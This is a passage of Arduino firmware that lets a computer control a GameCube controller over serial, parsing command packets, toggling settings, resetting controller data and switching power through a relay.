(serial_rx_buffer[11] == 0x02)) {\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_motor[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n }\r\n Serial.flush();\r\n readMotors();\r\n }\r\n \/\/ Get PING\/PONG status\r\n else if ((serial_rx_buffer[0] == 0x03) && (serial_rx_buffer[11] == 0x03)) {\r\n \/\/ Get PING status\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_ping_in); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Ping Input Buffer\r\n serial_rx_buffer_ping_in[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n }\r\n getPing();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x04) && (serial_rx_buffer[11] == 0x04)) {\r\n \/\/ Get PONG status\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_pong_in); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Pong Input Buffer\r\n serial_rx_buffer_pong_in[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n }\r\n getPong();\r\n }\r\n else if ((serial_rx_buffer[0] == 0xA0) && (serial_rx_buffer[11] == 0xA0)) {\r\n \/\/ Reset Arduino without reseting Variables\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Reset Buffer\r\n serial_rx_buffer_reset[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n }\r\n arduinoReset();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x09) && (serial_rx_buffer[11] == 0x09)) {\r\n \/\/ Disconnect Arduino\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Reset Controller Buffer\r\n serial_rx_buffer_disconnect[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n }\r\n arduinoDisconnect();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x0C) && (serial_rx_buffer[11] == 0x0C)) {\r\n \/\/ Reset Controller Data\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset_controller); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Reset Controller Data Buffer\r\n serial_rx_buffer_reset_controller[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_reset_controller[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n manualResetControllerData();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x0E) && (serial_rx_buffer[11] == 0x0E)) {\r\n \/\/ Change Values for reading motors (To send or not motor readings)\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset_controller); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Change Motors Values Buffer\r\n serial_rx_buffer_change_motors_status[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_change_motors_status[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n changeReadMotorsStatus();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x10) && (serial_rx_buffer[11] == 0x10)) {\r\n \/\/ Choose to enable or disable Automatic Reset Controller Data\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_change_autoreset_controller_status); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to AutoResetControllerData Buffer\r\n serial_rx_buffer_change_autoreset_controller_status[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_change_autoreset_controller_status[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n changeAutoResetControllerData();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x12) && (serial_rx_buffer[11] == 0x12)) {\r\n \/\/ Choose to enable or disable Automatic Reset Controller Data\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_before_input_reset); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to toggleBeforeInout Buffer\r\n serial_rx_buffer_toggle_before_input_reset[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_toggle_before_input_reset[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n toggleBeforeInputReset();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x14) && (serial_rx_buffer[11] == 0x14)) {\r\n \/\/ Choose to enable or disable Disconnect on PingTimeout\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_disconnect_on_ping_timeout); serial_rx_buffer_counter++) {\r\n\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_toggle_disconnect_on_ping_timeout[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n toggleDisconnectOnPingTimeout();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x16) && (serial_rx_buffer[11] == 0x16)) {\r\n \/\/ Choose to Turn the controller ON or OFF\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_controller_pwr); serial_rx_buffer_counter++) {\r\n\r\n serial_rx_buffer_toggle_controller_pwr[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_toggle_controller_pwr[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n toggleControllerPower();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x18) && (serial_rx_buffer[11] == 0x18)) {\r\n \/\/ Choose to get Motor Readings and Attention line levels after sending PING\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_controller_pwr); serial_rx_buffer_counter++) {\r\n\r\n serial_rx_buffer_toggle_motors_after_ping[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_toggle_motors_after_ping[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n toggleMotorsAfterPing();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x1A) && (serial_rx_buffer[11] == 0x1A)) {\r\n \/\/Serial.print(\"sendInputOnce=\");\r\n \/\/Serial.println(sendInputOnce);\r\n \/\/ Choose to Send Input back only once or every iteration of Loop (While inputting)\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_send_input_back); serial_rx_buffer_counter++) {\r\n\r\n serial_rx_buffer_toggle_send_input_back[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_toggle_send_input_back[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n toggleSendInputBack();\r\n }\r\n else if ((serial_rx_buffer[0] == 0x1C) && (serial_rx_buffer[11] == 0x1C)) {\r\n \/\/ Reset GCN Controller data (Hopefully this will never be used)\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset_gcn_controller); serial_rx_buffer_counter++) {\r\n\r\n serial_rx_buffer_reset_gcn_controller[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_reset_gcn_controller[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n resetGCNController();\r\n }\r\n \/\/ Get Invalid Command\r\n else if ((((serial_rx_buffer[0] < 0x01) || (serial_rx_buffer[0] > 0x1B)) && ((serial_rx_buffer[11] < 0x01) || (serial_rx_buffer[11] > 0x1B))) && (((serial_rx_buffer[0] != 0xA0) && (serial_rx_buffer[0] != 0xA1)) && ((serial_rx_buffer[11] != 0xA0) && (serial_rx_buffer[11] != 0xA1)))) {\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_invalid_command); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Reset Controller Data Buffer\r\n serial_rx_buffer_invalid_command[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_invalid_command[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n getInvalidCommand();\r\n }\r\n \/\/ Respond as invalid command when Preamble and Postamble are different\r\n else if (serial_rx_buffer[0] != serial_rx_buffer[11]) {\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_invalid_command); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Reset Controller Data Buffer\r\n serial_rx_buffer_invalid_command[serial_rx_buffer_counter] = serial_rx_buffer[serial_rx_buffer_counter];\r\n Serial.write(serial_rx_buffer_invalid_command[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n getInvalidCommand();\r\n }\r\n }\r\n pressButtons();\r\n sendPing();\r\n calculatePing();\r\n calculatePong();\r\n autoResetControllerData();\r\n \/\/toggleControllerPower();\r\n} \/\/ Close Loop Function\r\n\r\nvoid resetGCNController() {\r\n \/\/ This is where the GameCube Controller is reset, by pressing X+Y+Start\r\n calculatePing();\r\n calculatePong();\r\n serial_rx_buffer_reset_gcn_controller[0] = 0x1D;\r\n serial_rx_buffer_reset_gcn_controller[11] = 0x1D;\r\n\r\n resetController();\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset_gcn_controller); serial_rx_buffer_counter++) {\r\n \/\/ Write back data as a way to tell the controller was successfully reset\r\n Serial.write(serial_rx_buffer_reset_gcn_controller[serial_rx_buffer_counter]);\r\n }\r\n calculatePing();\r\n calculatePong();\r\n}\r\n\r\nvoid resetController()\r\n{\r\n \/\/Press X+Y+Start to tell the GameCube to reset the controller data, which can be used to fix faulty analog stick readings\r\n unsigned long resetDelay = 66;\r\n delay(resetDelay);\r\n digitalWrite(commandArray[0], HIGH);\r\n digitalWrite(commandArray[1], HIGH);\r\n digitalWrite(commandArray[2], HIGH);\r\n delay(resetDelay);\r\n digitalWrite(axisLTrigger, HIGH);\r\n digitalWrite(axisRTrigger, HIGH);\r\n delay(resetDelay);\r\n digitalWrite(commandArray[0], LOW);\r\n digitalWrite(commandArray[1], LOW);\r\n digitalWrite(commandArray[2], LOW);\r\n delay(resetDelay);\r\n digitalWrite(axisLTrigger, LOW);\r\n digitalWrite(axisRTrigger, LOW);\r\n delay(resetDelay);\r\n\r\n digitalWrite(relayPin, LOW);\r\n delay(resetDelay);\r\n digitalWrite(axisLTrigger, HIGH);\r\n digitalWrite(axisRTrigger, HIGH);\r\n delay(resetDelay);\r\n digitalWrite(relayPin, HIGH);\r\n delay(resetDelay);\r\n digitalWrite(axisLTrigger, LOW);\r\n digitalWrite(axisRTrigger, LOW);\r\n\r\n\r\n for (unsigned int buttonArrayIndex = 0; buttonArrayIndex < (sizeof(commandArray) \/ sizeof(unsigned int)); buttonArrayIndex++) {\r\n digitalWrite(commandArray[buttonArrayIndex], LOW);\r\n \/\/delay(133);\r\n }\r\n}\r\n\r\nvoid toggleSendInputBack() {\r\n \/\/ This is where we choose to turn the PS2 controller ON or OFF, through a solid-state low-power relay\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n \/\/autoResetControllerData();\r\n \/\/manualResetControllerData();\r\n calculatePing();\r\n calculatePong();\r\n \/\/Serial.print(\"sendInputOnce=\");\r\n \/\/Serial.println(sendInputOnce);\r\n \/\/Serial.println(\"\");\r\n \/\/Serial.print(\"Changing from \");\r\n \/\/Serial.print(autoDisconnectOnPingTimeout);\r\n \/\/Serial.print(\" to\");\r\n \/\/Serial.flush();\r\n sendInputOnce = serial_rx_buffer_toggle_send_input_back[8];\r\n serial_rx_buffer_toggle_send_input_back[0] = 0x1B;\r\n serial_rx_buffer_toggle_send_input_back[11] = 0x1B;\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_send_input_back); serial_rx_buffer_counter++) {\r\n \/\/ Write back data as a way to tell the Status changed correctly\r\n Serial.write(serial_rx_buffer_toggle_send_input_back[serial_rx_buffer_counter]);\r\n }\r\n \/\/Serial.flush();\r\n \/\/Serial.print(autoDisconnectOnPingTimeout);\r\n \/\/Serial.println(\" .\");\r\n \/\/Serial.flush();\r\n \/\/autoResetControllerData();\r\n \/\/manualResetControllerData();\r\n calculatePing();\r\n calculatePong();\r\n \/\/Serial.print(\"sendInputOnce=\");\r\n \/\/Serial.println(sendInputOnce);\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n}\r\n\r\nvoid toggleMotorsAfterPing() {\r\n \/\/ This is where we choose to wether read or not motor and LEDs\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n \/\/autoResetControllerData();\r\n \/\/manualResetControllerData();\r\n calculatePing();\r\n calculatePong();\r\n \/\/Serial.println(\"\");\r\n \/\/Serial.print(\"Changing from \");\r\n \/\/Serial.print(autoDisconnectOnPingTimeout);\r\n \/\/Serial.print(\" to\");\r\n \/\/Serial.flush();\r\n readMotorsAlongSendPing = serial_rx_buffer_toggle_motors_after_ping[8];\r\n serial_rx_buffer_toggle_motors_after_ping[0] = 0x19;\r\n serial_rx_buffer_toggle_motors_after_ping[11] = 0x19;\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_motors_after_ping); serial_rx_buffer_counter++) {\r\n \/\/ Write back data as a way to tell the Status changed correctly\r\n Serial.write(serial_rx_buffer_toggle_motors_after_ping[serial_rx_buffer_counter]);\r\n }\r\n \/\/Serial.flush();\r\n \/\/Serial.print(autoDisconnectOnPingTimeout);\r\n \/\/Serial.println(\" .\");\r\n \/\/Serial.flush();\r\n \/\/autoResetControllerData();\r\n \/\/manualResetControllerData();\r\n calculatePing();\r\n calculatePong();\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n}\r\n\r\nvoid toggleControllerPower() {\r\n \/\/ This is where we choose to turn the PS2 controller ON or OFF, through a solid-state low-power relay\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n \/\/autoResetControllerData();\r\n \/\/manualResetControllerData();\r\n calculatePing();\r\n calculatePong();\r\n \/\/Serial.println(\"\");\r\n \/\/Serial.print(\"Changing from \");\r\n \/\/Serial.print(autoDisconnectOnPingTimeout);\r\n \/\/Serial.print(\" to\");\r\n \/\/Serial.flush();\r\n controllerPowerStatus = serial_rx_buffer_toggle_controller_pwr[8];\r\n serial_rx_buffer_toggle_controller_pwr[0] = 0x17;\r\n serial_rx_buffer_toggle_controller_pwr[11] = 0x17;\r\n\r\n if (controllerPowerStatus == 0)\r\n {\r\n digitalWrite(relayPin, HIGH);\r\n \/\/Serial.print(\"controllerPowerStatus HIGH = \");\r\n \/\/Serial.println(controllerPowerStatus);\r\n }\r\n\r\n if (controllerPowerStatus != 0)\r\n {\r\n digitalWrite(relayPin, LOW);\r\n \/\/Serial.print(\"controllerPowerStatus LOW = \");\r\n \/\/Serial.println(controllerPowerStatus);\r\n }\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_controller_pwr); serial_rx_buffer_counter++) {\r\n \/\/ Write back data as a way to tell the Status changed correctly\r\n Serial.write(serial_rx_buffer_toggle_controller_pwr[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n \/\/Serial.print(autoDisconnectOnPingTimeout);\r\n \/\/Serial.println(\" .\");\r\n \/\/Serial.flush();\r\n \/\/autoResetControllerData();\r\n \/\/manualResetControllerData();\r\n calculatePing();\r\n calculatePong();\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n}\r\n\r\nvoid toggleBeforeInputReset() {\r\n \/\/ This is where we choose whether or not the Arduino resets the controller data before executing an input\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n autoResetControllerData();\r\n manualResetControllerData();\r\n \/\/Serial.println(\"\");\r\n \/\/Serial.print(\"Changing from \");\r\n \/\/Serial.print(resetBeforeInputStatus);\r\n \/\/Serial.print(\" to\");\r\n resetBeforeInputStatus = serial_rx_buffer_toggle_before_input_reset[8];\r\n serial_rx_buffer_toggle_before_input_reset[0] = 0x13;\r\n serial_rx_buffer_toggle_before_input_reset[11] = 0x13;\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_before_input_reset); serial_rx_buffer_counter++) {\r\n \/\/ Write back data as a way to tell the Status changed correctly\r\n Serial.write(serial_rx_buffer_toggle_before_input_reset[serial_rx_buffer_counter]);\r\n }\r\n \/\/Serial.flush();\r\n \/\/Serial.print(resetBeforeInputStatus);\r\n \/\/Serial.println(\" .\");\r\n \/\/Serial.flush();\r\n autoResetControllerData();\r\n manualResetControllerData();\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n}\r\n\r\nvoid toggleDisconnectOnPingTimeout() {\r\n \/\/ This is where we choose whether or not the Arduino resets the controller data before executing an input\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n \/\/autoResetControllerData();\r\n \/\/manualResetControllerData();\r\n calculatePing();\r\n calculatePong();\r\n \/\/Serial.println(\"\");\r\n \/\/Serial.print(\"Changing from \");\r\n \/\/Serial.print(autoDisconnectOnPingTimeout);\r\n \/\/Serial.print(\" to\");\r\n \/\/Serial.flush();\r\n autoDisconnectOnPingTimeout = serial_rx_buffer_toggle_disconnect_on_ping_timeout[8];\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[0] = 0x15;\r\n serial_rx_buffer_toggle_disconnect_on_ping_timeout[11] = 0x15;\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_toggle_disconnect_on_ping_timeout); serial_rx_buffer_counter++) {\r\n \/\/ Write back data as a way to tell the Status changed correctly\r\n Serial.write(serial_rx_buffer_toggle_disconnect_on_ping_timeout[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n \/\/Serial.print(autoDisconnectOnPingTimeout);\r\n \/\/Serial.println(\" .\");\r\n \/\/Serial.flush();\r\n \/\/autoResetControllerData();\r\n \/\/manualResetControllerData();\r\n calculatePing();\r\n calculatePong();\r\n \/\/inputDelay = 0;\r\n \/\/isInputtingDelayed = false;\r\n \/\/isInputting = false;\r\n}\r\n\r\nvoid changeAutoResetControllerData() {\r\n inputDelay = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n autoResetControllerData();\r\n manualResetControllerData();\r\n \/\/Serial.println(\"\");\r\n \/\/Serial.print(\"Changing from \");\r\n \/\/Serial.print(autoResetControllerDataStatus);\r\n \/\/Serial.print(\" to\");\r\n autoResetControllerDataStatus = serial_rx_buffer_change_autoreset_controller_status[8];\r\n serial_rx_buffer_change_autoreset_controller_status[0] = 0x11;\r\n serial_rx_buffer_change_autoreset_controller_status[11] = 0x11;\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_change_autoreset_controller_status); serial_rx_buffer_counter++) {\r\n \/\/ Write back data as a way to tell the Status changed correctly\r\n Serial.write(serial_rx_buffer_change_autoreset_controller_status[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n \/\/Serial.print(autoResetControllerDataStatus);\r\n \/\/Serial.println(\" .\");\r\n \/\/Serial.flush();\r\n autoResetControllerData();\r\n manualResetControllerData();\r\n inputDelay = 0;\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n}\r\n\r\nvoid changeReadMotorsStatus() {\r\n readMotors();\r\n \/\/Serial.println(\"\");\r\n \/\/Serial.print(\"Changing from \");\r\n \/\/Serial.print(readMotorsStatus);\r\n \/\/Serial.print(\" to\");\r\n readMotorsStatus = serial_rx_buffer_change_motors_status[8];\r\n serial_rx_buffer_change_motors_status[0] = 0x0F;\r\n serial_rx_buffer_change_motors_status[11] = 0x0F;\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_reset_controller); serial_rx_buffer_counter++) {\r\n \/\/ Write back data as a way to tell the Status changed correctly\r\n Serial.write(serial_rx_buffer_change_motors_status[serial_rx_buffer_counter]);\r\n }\r\n Serial.flush();\r\n \/\/Serial.print(readMotorsStatus);\r\n \/\/Serial.println(\" .\");\r\n \/\/Serial.flush();\r\n readMotors();\r\n}\r\n\r\nvoid getInvalidCommand() {\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_invalid_command); serial_rx_buffer_counter++) {\r\n \/\/ Pass Serial Buffer to Reset Controller Data Buffer\r\n if ((serial_rx_buffer_counter == 0) || (serial_rx_buffer_counter == 11)) {\r\n \/\/serial_rx_buffer_invalid_command[serial_rx_buffer_counter] = 0x0D;\r\n Serial.write(0x0D); \/\/ Preamble and Postamble to respond as Invalid Command\r\n }\r\n if ((serial_rx_buffer_counter >= 1) && (serial_rx_buffer_counter <= 6)) {\r\n \/\/serial_rx_buffer_invalid_command[serial_rx_buffer_counter] = 0x00;\r\n Serial.write(0x00); \/\/ Reset these to 0\r\n }\r\n if (serial_rx_buffer_counter == 7) {\r\n \/\/serial_rx_buffer_invalid_command[serial_rx_buffer_counter] = 0x00;\r\n Serial.write(serial_rx_buffer_invalid_command[0]); \/\/ Invalid Preamble Byte to Store\r\n }\r\n if (serial_rx_buffer_counter == 8) {\r\n \/\/serial_rx_buffer_invalid_command[serial_rx_buffer_counter] = 0x00;\r\n Serial.write(serial_rx_buffer_invalid_command[11]); \/\/ Invalid Postamble Byte to Store\r\n }\r\n if ((serial_rx_buffer_counter == 9) || (serial_rx_buffer_counter == 10)) {\r\n \/\/serial_rx_buffer_invalid_command[serial_rx_buffer_counter] = 0x0D;\r\n Serial.write(0x00); \/\/ Reset these to 0\r\n }\r\n }\r\n Serial.flush();\r\n \/\/Serial.println(\"INVALID COMMAND\");\r\n \/\/Serial.flush();\r\n}\r\n\r\nvoid arduinoDisconnect() {\r\n disconnectCalled = currentMillis;\r\n\r\n \/\/ Before disconnecting, we need to reset all Command status, and tell the computer they were reset\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n serial_rx_buffer_controller[3] = 0x7F; \/\/ Analog X Axis\r\n serial_rx_buffer_controller[4] = 0x7F; \/\/ Analog Y Axis\r\n serial_rx_buffer_controller[5] = 0x7F; \/\/ C X Axis\r\n serial_rx_buffer_controller[6] = 0x7F; \/\/ C Y Axis\r\n serial_rx_buffer_controller[7] = 0x00; \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\r\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\r\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\r\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\r\n\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = ( serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\r\n }\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));\r\n digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));\r\n digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));\r\n digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));\r\n digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));\r\n digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));\r\n digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));\r\n digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ DUp, DDown, DRight, DDleft, Analog L Trigger (Working Digitally), Analog R Trigger (Working Digitally), Macro (Bootleg), Turbo (Bootleg)\r\n digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));\r\n digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));\r\n digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));\r\n digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));\r\n digitalWrite(commandArray[12], ((255 - serial_rx_buffer_inverted_controller[2]) & B00010000));\r\n digitalWrite(commandArray[13], ((255 - serial_rx_buffer_inverted_controller[2]) & B00100000));\r\n digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));\r\n digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));\r\n\r\n \/\/ 4 Axis, Buffer Array Elements 3, 4, 5, 6\r\n \/\/ Analog X Axis, Analog Y Axis, C X Axis, C Y Axis\r\n analogWrite(commandArray[16], (255 - serial_rx_buffer_inverted_controller[3]));\r\n analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);\r\n analogWrite(commandArray[18], (255 - serial_rx_buffer_inverted_controller[5]));\r\n analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);\r\n\r\n \/\/ Mode Button, Buffer Array Element 7\r\n \/\/ Mode (Bootleg), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\r\n digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));\r\n\r\n \/\/ Buffer Array Element 8 is unused in this code, but is existing in case changes are needed\r\n Serial.flush();\r\n\r\n \/\/ Tell the computer the connection is about to be closed\r\n serial_rx_buffer_disconnect[8] = (byte)((disconnectCalled & 0xFF));\r\n serial_rx_buffer_disconnect[7] = (byte)((disconnectCalled >> 8) & 0xFF);\r\n serial_rx_buffer_disconnect[6] = (byte)((disconnectCalled >> 16) & 0xFF);\r\n serial_rx_buffer_disconnect[5] = (byte)((disconnectCalled >> 24) & 0xFF);\r\n \/\/Serial.println(disconnectCalled);\r\n \/\/Serial.println(\"DISCONNECTING...\");\r\n serial_rx_buffer_disconnect[0] = 0x0A;\r\n serial_rx_buffer_disconnect[11] = 0x0A;\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n Serial.end();\r\n isConnected = false;\r\n serial_rx_buffer_disconnect[8] = (byte)((disconnectDone & 0xFF));\r\n serial_rx_buffer_disconnect[7] = (byte)((disconnectDone >> 8) & 0xFF);\r\n serial_rx_buffer_disconnect[6] = (byte)((disconnectDone >> 16) & 0xFF);\r\n serial_rx_buffer_disconnect[5] = (byte)((disconnectDone >> 24) & 0xFF);\r\n \/\/delay(2500); \/\/ Wait 2.5 seconds before reconnecting\r\n \/\/ Tell the computer the connection has began succesfully\r\n isConnected = true;\r\n disconnectDone = currentMillis;\r\n Serial.begin(baudRate);\r\n serial_rx_buffer_disconnect[0] = 0x0B;\r\n serial_rx_buffer_disconnect[11] = 0x0B;\r\n isConnected = true;\r\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {\r\n Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\r\n }\r\n Serial.flush();\r\n\r\n \/\/ Reset all Commands status just to make sure everything is working as intended\r\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\r\n serial_rx_buffer_controller[1] = 0x00; \/\/ Start, Y, X, B, A, Digital L Trigger, Digital R Trigger, Z\r\n serial_rx_buffer_controller[2] = 0x00; \/\/ DUp, 